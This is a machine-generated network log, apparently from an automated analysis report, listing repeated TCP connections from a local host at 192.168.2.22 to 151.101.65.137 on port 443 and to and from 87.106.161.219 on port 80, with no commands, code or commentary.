                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 87.106.161.219:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
